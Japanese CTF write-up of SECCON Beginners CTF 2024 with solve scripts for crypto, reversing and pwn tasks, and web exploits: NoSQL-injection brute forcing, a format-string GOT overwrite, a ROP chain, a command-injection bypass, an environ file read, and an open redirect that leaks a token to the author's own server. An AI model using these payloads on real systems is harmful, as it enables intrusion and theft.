1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

SECCON Beginners CTF 2024 writeup

Last updated at Posted at 2024-06-16

5問解けなくて、11位。

score.beginners.seccon.jp_certificate.png

image.png

score.beginners.seccon.jp_teams_550.png

crypto

Safe Prime (beginner)

chall.py
import os
from Crypto.Util.number import getPrime, isPrime

FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')

while True:
    p = getPrime(512)
    q = 2 * p + 1
    if isPrime(q):
        break

n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")

Safe Prime(安全素数)について。RSA暗号で $p$ と $q$ を素数として~というときに、たまたま $p-1$ の最大の素因数が小さい $p$ を使ってしまうと、RSA暗号が破れてしまう。そこで、 $p-1$ が $p'$ を素数として $2p'$ と表せるような素数 $p$ を使うのが良いとされている。この $p$ を安全素数という。

$p$ と $q$ をそれぞれ安全素数にするところ、この問題では $2p+1$ を $q$ としている。$p$ の値が二分探索できる。

solve.py
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861

p = 0
b = 2**512
while b>0:
    if (p+b)*(2*(p+b)+1)<=n:
        p += b
    b //= 2

q = 2*p+1
d = pow(65537, -1, (p-1)*(q-1))
m = pow(c, d, n)

from Crypto.Util.number import *
print(long_to_bytes(m).decode())
$ python3 solve.py
ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}

ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}

math (easy)

RSA暗号に用いられる変数に特徴的な条件があるようですね...?

chall.py
from Crypto.Util.number import bytes_to_long, isPrime
from secret import (
    x,
    p,
    q,
)  # x, p, q are secret values, please derive them from the provided other values.
import gmpy2


def is_square(n: int):
    return gmpy2.isqrt(n) ** 2 == n


assert isPrime(p)
assert isPrime(q)
assert p != q

a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)

n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")

# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0

$a$ と $b$ の約数が与えられていて、それと $ab$ の値から、 $a$ と $b$ の組み合わせは16通りしかない。その全てについて、 $x$ の値を二分探索すれば良い。

solve.py
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474

F = [3, 173, 199, 306606827773]
for fb in range(2**4):
    a = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169**2
    b = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661**2
    for i in range(4):
        if fb>>i&1:
            a *= F[i]**2
        else:
            b *= F[i]**2
    p = a
    q = b
    t = 2**1000
    while t>0:
        if (p+t)*(q+t)<=n:
            p += t
            q += t
        t //= 2
    if p*q==n:
        d = pow(e, -1, (p-1)*(q-1))
        m = pow(cipher, d, n)
        from Crypto.Util.number import *
        print(long_to_bytes(m).decode())
$ python3 solve.py
ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}

ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}

ARES (medium)

これ面白かった。

server.py
#!/usr/local/bin/python
import os
from Crypto.Util.number import getStrongPrime
from Crypto.Cipher import AES

N_BITS = 1024

class ARES(object):
    """ARES: Advanced RSA Encryption Standard"""
    def __init__(self, key: bytes, p: int, q: int, e: int):
        self.key = key
        self.n = p * q
        self.e = e
        self.d = pow(self.e, -1, (p-1)*(q-1))

    def encrypt(self, m: int):
        iv = os.urandom(16)
        c1 = int.to_bytes(pow(m, self.e, self.n), N_BITS//8, 'big')
        c2 = AES.new(self.key, AES.MODE_CBC, iv).encrypt(c1)
        return iv + c2

    def decrypt(self, c: bytes):
        iv, c2 = c[:16], c[16:]
        c1 = AES.new(self.key, AES.MODE_CBC, iv).decrypt(c2)
        m = pow(int.from_bytes(c1, 'big'), self.d, self.n)
        return m

if __name__ == '__main__':
    key = os.urandom(16)
    p = getStrongPrime(N_BITS//2)
    q = getStrongPrime(N_BITS//2)
    n = p * q
    e = 65537

    FLAG  = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
    FLAG += os.urandom(16)
    assert len(FLAG) < N_BITS//8
    m = int.from_bytes(FLAG, 'big')
    c = pow(m, e, n)
    print("enc_flag:", int.to_bytes(c, N_BITS//8, 'big').hex())

    ares = ARES(key, p, q, e)

    print("1. Encrypt with ARES" "\n"\
          "2. Decrypt with ARES")
    while True:
        choice = int(input('> '))
        if choice == 1:
            m = int(input('m: '))
            assert m < n, "Plaintext too big"
            c = ares.encrypt(m)
            print("c:", c.hex())

        elif choice == 2:
            c = bytes.fromhex(input('c: '))
            assert len(c) > 16 and len(c) % 16 == 0, "Invalid ciphertext"
            m = ares.decrypt(c)
            print("m:", m)

        else:
            break

RSAとAESの組み合わせ。まずRSAで暗号化したフラグが与えられる。その後、RSA→AESの暗号化と、AES→RSAの復号が任意のデータに対してできる。RSAもAESも鍵は得られない。

まあ、AESの復号結果が enc_flag になるようにするしかないよね。AESの最初のブロックはIVで何とかなるけれど、それ以降がどうしようもない。

せめて、RSAの公開鍵が欲しいが……で、 $-1$ を暗号化と復号すると $n-1$ が返ってくることに気が付いた。これで暗号化ができるようになるので、辻褄を合わせていけば良い。

attack.py
from pwn import *

s = remote("ares.beginners.seccon.games", 5000)
s.recvuntil(b"enc_flag: ")
enc_flag = bytes.fromhex(s.recvline()[:-1].decode())
print(f"{enc_flag=}")

def encrypt(m):
    s.sendlineafter(b"> ", b"1")
    s.sendlineafter(b"m: ", str(m).encode())
    s.recvuntil(b"c: ")
    return bytes.fromhex(s.recvline()[:-1].decode())

def decrypt(c):
    s.sendlineafter(b"> ", b"2")
    s.sendlineafter(b"c: ", c.hex().encode())
    s.recvuntil(b"m: ")
    return int(s.recvline()[:-1].decode())

def xor(X, Y):
    return bytes([x^y for x, y in zip(X, Y)])

n = decrypt(encrypt(-1))+1
print(f"{n=}")
e = 65537

def rsa(m):
    return int.to_bytes(pow(m, e, n), 128, "big")

A = bytes(144)
for i in range(0, 128, 16)[::-1]:
    B = rsa(decrypt(A))
    A = A[:i]+xor(B[i:i+16], enc_flag[i:i+16])+A[i+16:]

print(int.to_bytes(decrypt(A), 128, "big"))
$ python3 attack.py
[+] Opening connection to ares.beginners.seccon.games on port 5000: Done
enc_flag=b"bk\xff\n\x87\x86p \xfb|Q\x8e\xc1\x94C\xd2\x95\x83\xb5\x13}'\x1c\xf2\xbd\x176\x95c%\xeb\xb5\x88\xbe\xf5\xc4\xa4\x9c\xc2\x020\xe2\x85\xfeK\xf5\xb0e\xcb\n\xb0O\xb6\xf4\x97\xe9/\x7f\xa7\x93\xe2\xd5h\xcf \xabh\x845][}\xbd\xf7\xb2\xd4s\xa7\x8e\x98\x8b\xbb+\xde\xb90P\xeaZ\x1f\x0c\x95zI\xadxZ^\xf8\x94\xc2\x9e\x7f\xcf\xb8\x19\xdbq\xa1\xe4\x8aS\xdf\xb3\xa5\x88kuC\xaf\xd2h\xf3F!\xe1\\\xa8"
n=128660180978404611818115114990620300090494026864565399250980599538309867242153117993044788397976966711979842105918623593287232872712019148552067104902470020416696519637387206742503328844830774316442141398349485057087387103406219688350750706623705069848150814781161624765550491861607945439453449375137799328819
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ctf4b{bl0ck_c1pher_is_a_fun_puzzl3}r\x11\xbeK\xda\x7f\x93Lo\x8f\xb6\xbf(\x004\x86'
[*] Closed connection to ares.beginners.seccon.games port 5000

なぜか2回に1回くらいしか解けないが……解けたから良いだろ。

ctf4b{bl0ck_c1pher_is_a_fun_puzzl3}

reversing

assemble (beginner)

Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう!

はい。 movpushsyscall しか使えないらしい。

Challenge 1. Please write 0x123 to RAX!

mov rax, 0x123

Challenge 2. Please write 0x123 to RAX and push it on stack!

mov rax, 0x123
push rax

Challenge 3. Please use syscall to print Hello on stdout!

mov rax, 0x6f6c6c6548
push rax
mov rsi, rsp
mov rax, 1
mov rdi, 1
mov rdx, 6
syscall

文字列はスタックに作ると良い。 push すると rsp が文字列の先頭を指すポインタになる。

syscallはChromium OSのドキュメントにまとまっている。

Challenge 4. Please read flag.txt file and print it to stdout!

mov rax, 0
push rax
mov rax, 0x7478742e67616c66
push rax
mov rax, 0x02
mov rdi, rsp
mov rsi, 0
mov rdx, 0
syscall

mov rdi, rax
mov rax, 0
mov rsi, rsp
mov rdx, 0x100
syscall

mov rdx, rax
mov rax, 1
mov rdi, 1
mov rsi, rsp
syscall

open して read して write

ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}

cha-ll-enge (easy)

見たことがない形式のファイルだけど、中身を見れば何かわかるかも...?

ChatGPTに訊いた。

image.png

image.png

へー。

競技プログラミングのAtCoderはAIの使用に制限が掛かった。

CTFで特定のツールが使用禁止となる気はしないし、今後はAIを使いこなせるスキルも重要になるのかもしれない。

solve.py
X = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]

print("".join(map(chr, [X[i]^X[i+1] for i in range(len(X)-1)])))
$ python3 solve.py
ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}

ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}

construct (medium)

使っていない関数がたくさんある……?

デバッガで実行してみると、 main に来る前に終了する。問題名の通り、コンストラクタっぽい。

バイナリを除くと、この使っていないと言っている関数のアドレスが並んでいるので、比較している文字列を手作業で拾い集めた。

c0_d4yk261hbosje893w5igzfrvaumqlptx7n
oxnske1cgaiylz0mwfv7p9r32h6qj8bt4d_u5
lzau7rvb9qh5_1ops6jg3ykf8x0emtcind24w
9_xva4uchnkyi6wb2ld507p8g3stfej1rzqmo
r8x9wn65701zvbdfp4ioqc2hy_juegkmatls3
tufij3cykhrsl841qo6_0dwg529zanmbpvxe7
b0i21csjhqug_3erat9f6mx854pyol7zkvdwn
17zv5h6wjgbqerastioc294n0lxu38fdk_ypm
1cgovr4tzpnj29ay3_8wk7li6uqfmhe50bdsx
3icj_go9qd0svxubefh14ktywpzma2l7nr685
c7l9532k0avfxso4uzipd18egbnyw6rm_tqjh
l8s0xb4i1frkv6a92j5eycng3mwpzduqth_7o
l539rbmoifye0u6dj1pw8nqt_74sz2gkvaxch
aj_d29wcrqiok53b7tyn0p6zvfh1lxgum48es
3mq16t9yfs842cbvlw5j7k0prohengduzx_ai
_k6nj8hyxvzcgr1bu2petf5qwl09ids!om347a

ここから、2文字ずつ比較している。

ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}

former-seccomp (hard)

フラグチェック用のシステムコールを自作してみました

Ghidraで見てみると、鍵らしき文字列が簡単に難読化されているのと、RC4っぽい処理がある。

solve.py
K = [0x43, 0x55, 0x44, 0x17, 0x46, 0x1f, 0x14, 0x17, 0x1a, 0x1d]
for i in range(len(K)):
    K[i] ^= 0x20+i
print("".join(map(chr, K)))

C = [
    0xa5, 0xd2, 0xbc, 0x02, 0xb2, 0x7c, 0x86, 0x38, 0x17, 0xb1, 0x38, 0xc6, 0xe4, 0x5c, 0x1f, 0xa0,
    0x9d, 0x96, 0xd1, 0xf0, 0x4b, 0xa6, 0xa6, 0x5c, 0x64, 0xb7,
]

S = [0]*256
for i in range(256):
    S[i] = i
j = 0
for i in range(256):
    j = (j+S[i]+K[i%len(K)])%256
    S[i], S[j] = S[j], S[i]

i = 0
j = 0
P = []
c = 0
while len(P)<len(C):
    i = (i+1)%256
    j = (j+S[i])%256
    S[i], S[j] = S[j], S[i]
    P += [C[c]^S[(S[i]+S[j])%256]]
    c += 1

print("".join(map(chr, P)))
$ python3 solve.py
ctf4b:2024
p7r4c3_c4n_3mul4t3_sysc4ll

ctf4b{p7r4c3_c4n_3mul4t3_sysc4ll}

misc

getRank (easy)

数字を当てると1ポイントもらえて、1位になるとフラグが得られる。ただし、1位は $10^{255}$ ポイント。

点数が自己申告なので何とでもなりそうだが、文字数制限があるのと、点数が大きいと $10^{100}$ で割られる処理があって、普通には足らない。

0xfff... を送りつけたら通った。

今あらためて見ると、1位の点数には足りない。 0xfff...Infinity になっていて、割られる処理を回避できていたっぽい。

$ curl 'https://getrank.beginners.seccon.games/' -H 'Content-Type: application/json' --data-raw '{"input":"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"}'
{"rank":1,"message":"ctf4b{15_my_5c0r3_700000_b1g?}"}

ctf4b{15_my_5c0r3_700000_b1g?}

vote4b (blockchain, not web, not crypto, easy)

解けなかった。

スマートクリプトは手を付ける人が少ないと思ったのか、攻撃用のテンプレートっぽいものまで用意されているが、時間が無く……。

スマートクリプトは大金が動くだけあって、詳しくなれば金が稼げそうだが……。別に悪いことをしなくても、HackerOneに暗号通貨関連っぽい会社がちらほらある。

clamre (easy)

アンチウィルスのシグネチャを読んだことはありますか?

flag.ldb
ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

ChatGPTさん、お願いします。

image.png

だいたいあっているのに、微妙に違うんだよな……。 (4) が抜けていたり。

しょうがないので自分でやった。

ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}

commentator (easy)

送ったPythonコードが、各行の先頭に # を付けて実行される。

# coding: ...

だろ。UTF-16とかにして # を潰そうと思ったが、ASCIIと互換性の無いエンコードは使えないらしい。

Any encoding which allows processing the first two lines in the way indicated above is allowed as source code encoding, this includes ASCII compatible encodings as well as certain multi-byte encodings such as Shift_JIS. It does not include encodings which use two or more bytes for all characters like e.g. UTF-16. The reason for this is to keep the encoding detection algorithm in the tokenizer simple.

いや、 # を潰さなくても、 0D0A 以外で改行が入れられれば良いのか。UTF-7。

$ nc commentator.beginners.seccon.games 4444
                                          _        _                  __
  ___ ___  _ __ ___  _ __ ___   ___ _ __ | |_ __ _| |_ ___  _ __   _  \ \
 / __/ _ \| '_ ` _ \| '_ ` _ \ / _ \ '_ \| __/ _` | __/ _ \| '__| (_)  | |
| (_| (_) | | | | | | | | | | |  __/ | | | || (_| | || (_) | |     _   | |
 \___\___/|_| |_| |_|_| |_| |_|\___|_| |_|\__\__,_|\__\___/|_|    (_)  | |
                                                                      /_/
---------------------------------------------------------------------------
Enter your Python code (ends with __EOF__)
>>> coding: utf-7
>>> +AAo-import subprocess; print(subprocess.run("cat /*", shell=True, capture_output=True).stdout)
>>> __EOF__
b'ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}'
thx :)

ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}

web

wooorker (beginner)

ログイン画面で良くある、 ?next=... でログイン後に next に指定したURLに飛ぶやつ。飛ぶときに token=... が付いてきて、これがあればフラグが読める。

自分のサーバーに飛ばせば良い。

login?next=http://my-server/

を入力して、botにログインさせる。

このトークンを付けてサーバーにアクセスすればOK。

ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}

wooorker2 (medium)

トークン漏洩の脆弱性を修正しました! これでセキュリティは完璧です!

?token=... から #token=... になった。

こういうHTMLファイルを置いておけば良い。

index.html
<script>
    location.href=location.hash.substr(1);
</script>

ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}

ssrforlfi (easy)

app.py
 :
@app.route("/")
def ssrforlfi():
    url = request.args.get("url")
    if not url:
        return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>"

    # Allow only a-z, ", (, ), ., /, :, ;, <, >, @, |
    if not re.match('^[a-z"()./:;<>@|]*$', url):
        return "Invalid URL ;("

    # SSRF & LFI protection
    if url.startswith("http://") or url.startswith("https://"):
        if "localhost" in url:
            return "Detected SSRF ;("
    elif url.startswith("file://"):
        path = url[7:]
        if os.path.exists(path) or ".." in path:
            return "Detected LFI ;("
    else:
        # Block other schemes
        return "Invalid Scheme ;("

    try:
        # RCE ?
        proc = subprocess.run(
            f"curl '{url}'",
            capture_output=True,
            shell=True,
            text=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout ;("
    if proc.returncode != 0:
        return "Error ;("
    return proc.stdout
 :

Webプロキシでフラグを読めという良くある問題。

そもそもフラグがどこにあるのかと探してみると、 .env で渡されて、その後どこでも使っていない。環境変数を読む必要がある。

わざわざ file:// を許可しているので使うならこっちだろう。アプリ側でファイルが存在しないことをチェックした後で curl に渡しているから、 /proc/self がプロセスによって違うことを利用する……? そんなに違わないだろ。curl{}[] を解釈するが、これらの文字は使えない。

file schemaの仕様を読んだら、 localhost が使えると書かれていた。当然アプリ側はこんなのは解釈しない。

https://ssrforlfi.beginners.seccon.games/?url=file://localhost/proc/self/environ

UWSGI_ORIGINAL_PROC_NAME=uwsgiHOSTNAME=a84e51bef68dHOME=/home/ssrforlfiPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8DEBIAN_FRONTEND=noninteractivePWD=/var/wwwTZ=Asia/TokyoUWSGI_RELOADS=0FLAG=ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}

ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}

double-leaks (medium)

app.py
 :
        client = get_mongo_client()
        db = client.get_database("double-leaks")
        users_collection = db.get_collection("users")
        user = users_collection.find_one(
            {"username": username, "password_hash": password_hash}
        )
        if user is None:
            return jsonify({"message": "Invalid Credential"}), 401

        # Confirm if credentials are valid just in case :smirk:
        if user["username"] != username or user["password_hash"] != password_hash:
            return jsonify({"message": "DO NOT CHEATING"}), 401

        return jsonify(
            {"message": f"Login successful! Congrats! Here is the flag: {flag}"}
        )
 :

MongoDBに "password" ではなく {"$ne": "x"} を渡すやつ。これで、MongoDBの部分は通るが、その後でさらに一致することを確認している。Blind SQL Injectionっぽいことをする。 $lt で1文字ずつ探索。

attack.py
import requests

def username():
    username = ""
    while True:
        for c in range(0x20, 0x7f):
            c = chr(c)
            r = requests.post(
                "https://double-leaks.beginners.seccon.games/login",
                json = {
                    "username": {"$lt": username+c},
                    "password_hash": {"$ne": "x"},
                }
            )
            if r.json()["message"]=="DO NOT CHEATING":
                username += chr(ord(c)-1)
                break
        print(username)

#username()

def password_hash():
    password_hash = ""
    C = "0123456789abcdefg"
    for i in range(64):
        for c in C:
            r = requests.post(
                "https://double-leaks.beginners.seccon.games/login",
                json = {
                    "username": "ky0muky0mupur1n",
                    "password_hash": {"$lt": password_hash+c},
                }
            )
            if r.json()["message"]=="DO NOT CHEATING":
                password_hash += C[C.index(c)-1]
                break
        print(password_hash)

password_hash()
$ python3 attack.py
k
ky
ky0
ky0m
ky0mu
ky0muk
ky0muky
ky0muky0
ky0muky0m
ky0muky0mu
ky0muky0mup
ky0muky0mupu
ky0muky0mupur
ky0muky0mupur1
ky0muky0mupur1n
ky0muky0mupur1n
ky0muky0mupur1n
ky0muky0mupur1n
 :
$ python3 attack.py
d
d3
d36
d36c
 :
d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31
d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a
$ curl 'https://double-leaks.beginners.seccon.games/login' -H 'Content-Type: application/json' --data '{"username":"ky0muky0mupur1n","password_hash":"d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a"}'
{"message":"Login successful! Congrats! Here is the flag: ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}"}

ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}

flagAlias (medium)

参加者ごとにインスタンスを立てる形式。これはprototype pollution……と思ったが、Discordのログを見ると、「ごめん、問題サーバーを壊しちゃった」「止めます」「形式を変えて復旧させた」みたいなやりとりがあった。Prototype pollutionは想定していなそう。

Denoアプリ。

flag.ts
export function getRealFlag() {
  // **REDACTED**
  return "**REDACTED**";
}

export function getFakeFlag() {
  return "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}";
}
main.ts
import * as flag from "./flag.ts";

function waf(key: string) {
  // Wonderful WAF :)
  const ngWords = [
    "eval",
    "Object",
    "proto",
    "require",
    "Deno",
    "flag",
    "ctf4b",
    "http",
  ];
  for (const word of ngWords) {
    if (key.includes(word)) {
      return "'NG word detected'";
    }
  }
  return key;
}

export async function chall(alias = "`real fl${'a'.repeat(10)}g`") {
  const m: { [key: string]: string } = {
    "wonderful flag": "fake{wonderful_fake_flag}",
    "special flag": "fake{special_fake_flag}",
  };
  try {
    // you can set the flag alias as the key
    const key = await eval(waf(alias));
    m[key] = flag.getFakeFlag();
    return JSON.stringify(Object.entries(m), null, 2);
  } catch (e) {
    return e.toString();
  }
}

const handler = async (request: Request): Promise<Response> => {
  try {
    const body = JSON.parse(await request.text());
    const alias = body?.alias;
    return new Response(await chall(alias), { status: 200 });
  } catch (_) {
    return new Response('{"error": "Internal Server Error"}', { status: 500 });
  }
};

if(Deno.version.deno !== "1.42.0"){
  console.log("Please use deno 1.42.0");
  Deno.exit(1);
}
const port = Number(Deno.env.get("PORT")) || 3000;
Deno.serve({ port }, handler);

適当に waf を回避して、 flag を読めば良さそう。例えば、

({}).constructor.constructor('return fl'+'ag')()

とか。しかし、 eval にはやっかいな仕様がある。直接 eval を実行すると実行した場所のスコープで動くが、変数に代入したりするとグローバルスコープになってしまう。

()=>{const x=1234;return eval("x")}()

これは 1234 だが、

(()=>{const x=1234; [eval][0]("x")})()

これは ReferenceError: x is not defined になる。constructor を使う場合も同様。

外の flag を無視しようにも、 import はトップレベルでしか使えない(実は import 文というものがあるらしい)し、ソースコードを直接読むのはDenoに弾かれる。 toString() を持つオブジェクトを返せば m[key] で発動するからそれで何とか……と思ったが、上手くいかず。

waf=x=>x

waf が無効化できたw

この後

let x=""; for (let k in flag) x += k+","; x

で、 "getFakeFlag,getRealFlag_yUC2BwCtXEkg,"

flag.getRealFlag_yUC2BwCtXEkg()

"fake{The flag is commented one line above here!}"

ということで、

flag.getRealFlag_yUC2BwCtXEkg
function getRealFlag_yUC2BwCtXEkg() {
  // Great! You found the flag!
  // ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}
  return "fake{The flag is commented one line above here!}";
}

ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}

pwnable

simpleoverflow (beginner)

Cでは、0がFalse、それ以外がTrueとして扱われます。

$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaa���
ctf4b{0n_y0ur_m4rk}

ctf4b{0n_y0ur_m4rk}

simpleoverwrite (easy)

スタックとリターンアドレスを確認しましょう

src.c
 :
void win() {
  char buf[100];
  FILE *f = fopen("./flag.txt", "r");
  fgets(buf, 100, f);
  puts(buf);
}

int main() {
  char buf[10] = {0};
  printf("input:");
  read(0, buf, 0x20);
  printf("Hello, %s\n", buf);
  printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
  return 0;
}
 :
$ readelf -s chall | fgrep win
    34: 0000000000401186    73 FUNC    GLOBAL DEFAULT   14 win
 :
$ printf '0123456789abcdef01\x86\x11\x40\x00\x00\x00\x00\x00' | nc simpleoverwrite.beginners.seccon.games 9001
input:Hello, 0123456789abcdef01�@
return to: 0x401186
ctf4b{B3l13v3_4g41n}

ctf4b{B3l13v3_4g41n}

pure-and-easy (easy)

src.c
 :
int main() {
  char buf[0x100] = {0};
  printf("> ");
  read(0, buf, 0xff);
  printf(buf);
  exit(0);
}

void win() {
  char buf[0x50];
  FILE *fp = fopen("./flag.txt", "r");
  fgets(buf, 0x50, fp);
  puts(buf);
}
 :

書式文字列攻撃。 exit のGOTを書き換えた。

attack.py
from pwn import *

context.arch = "amd64"

s = remote("pure-and-easy.beginners.seccon.games", 9000)

b = 10
P = ""
P += f"%{0x41}c%{b}$hhn"
P += f"%{(0x13-0x41)%0x100}c%{b+1}$hhn"
P = P.ljust(0x20, "\0").encode()
P += pack(0x404040)
P += pack(0x404041)

s.sendafter(b"> ", P)
s.interactive()
$ python3 attack.py
[+] Opening connection to pure-and-easy.beginners.seccon.games on port 9000: Done
[*] Switching to interactive mode
                                                                \x90
                                                                                                                                 \xffctf4b{Y0u_R34lly_G0T_M3}

ctf4b{Y0u_R34lly_G0T_M3}

[*] Got EOF while reading in interactive

ctf4b{Y0u_R34lly_G0T_M3}

gachi-rop (medium)

そろそろOne Gadgetにも飽きてきた?ガチROPの世界へようこそ!

飽きてません。タイトルからして面倒なやつだ。

ソースコードも無い。Ghidraで見ると、seccompで制限を掛けているっぽい。

頑張った後で、「それは使えません」は嫌なので、どういう制限が掛かっているのかを知りたい。便利なツールがあった。

seccompのテーブルを抽出したりする必要すら無く、バイナリをそのまま渡せば良い。

$ seccomp-tools dump gachi-rop/gachi-rop
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x03 0x00 0x40000000  if (A >= 0x40000000) goto 0007
 0004: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0007
 0005: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00050000  return ERRNO(0)

execveexecveat が禁止。その他のアーキテクチャとか、大きなシステムコール番号の制約は、これが無いとx86を使って回避ができるらしい。

要は、シェルの起動が禁止だから、自前でファイルを読み込んだりしろと。この問題、フラグのファイル名にハッシュ値が付いているから、ファイル名の特定からしないといけないんだよな……。

rp++ でROPガジェットを探して頑張った。pwntoolsのROPモジュールを使えば良かったかもしれない。ROPで文字列を作るのは無理(もしくはとても難しい)ので、 gets などを呼び出して別途与える。

attack.py
from pwn import *

context.arch = "amd64"
#context.log_level = "debug"

s = remote("gachi-rop.beginners.seccon.games", 4567)

s.recvuntil(b"system@0x")
system = int(s.recv(12).decode(), 16)
libc = system-0x50d70
print(f"system: {libc:x}")

s.sendlineafter(b'Name: ',
    b"x"*0x18 +

    pack(libc+0x0002a3e5) + # pop rdi
    pack(0x404000) +        # file_name
    pack(0x401060) +        # gets

    pack(libc+0x00045f97) + # pop rax
    pack(2) +               # open
    pack(libc+0x0002a3e5) + # pop rdi
    pack(0x404000) +        # file_name
    pack(libc+0x0002be51) + # pop rsi
    pack(0o200000) +        # O_DIRECTORY
    pack(libc+0x0011f322) + # pop rdx ; pop r12
    pack(0) +
    pack(0) +
    pack(libc+0x00091335) + # syscall

    pack(libc+0x00045f97) + # pop rax
    pack(78) +              # getdents
    pack(libc+0x0002a3e5) + # pop rdi
    pack(3) +               # fd
    pack(libc+0x0002be51) + # pop rsi
    pack(0x404000) +        # buf
    pack(libc+0x0011f322) + # pop rdx; pop r12
    pack(1024) +
    pack(0) +
    pack(libc+0x00091335) + # syscall

    pack(libc+0x00045f97) + # pop rax
    pack(1) +               # write
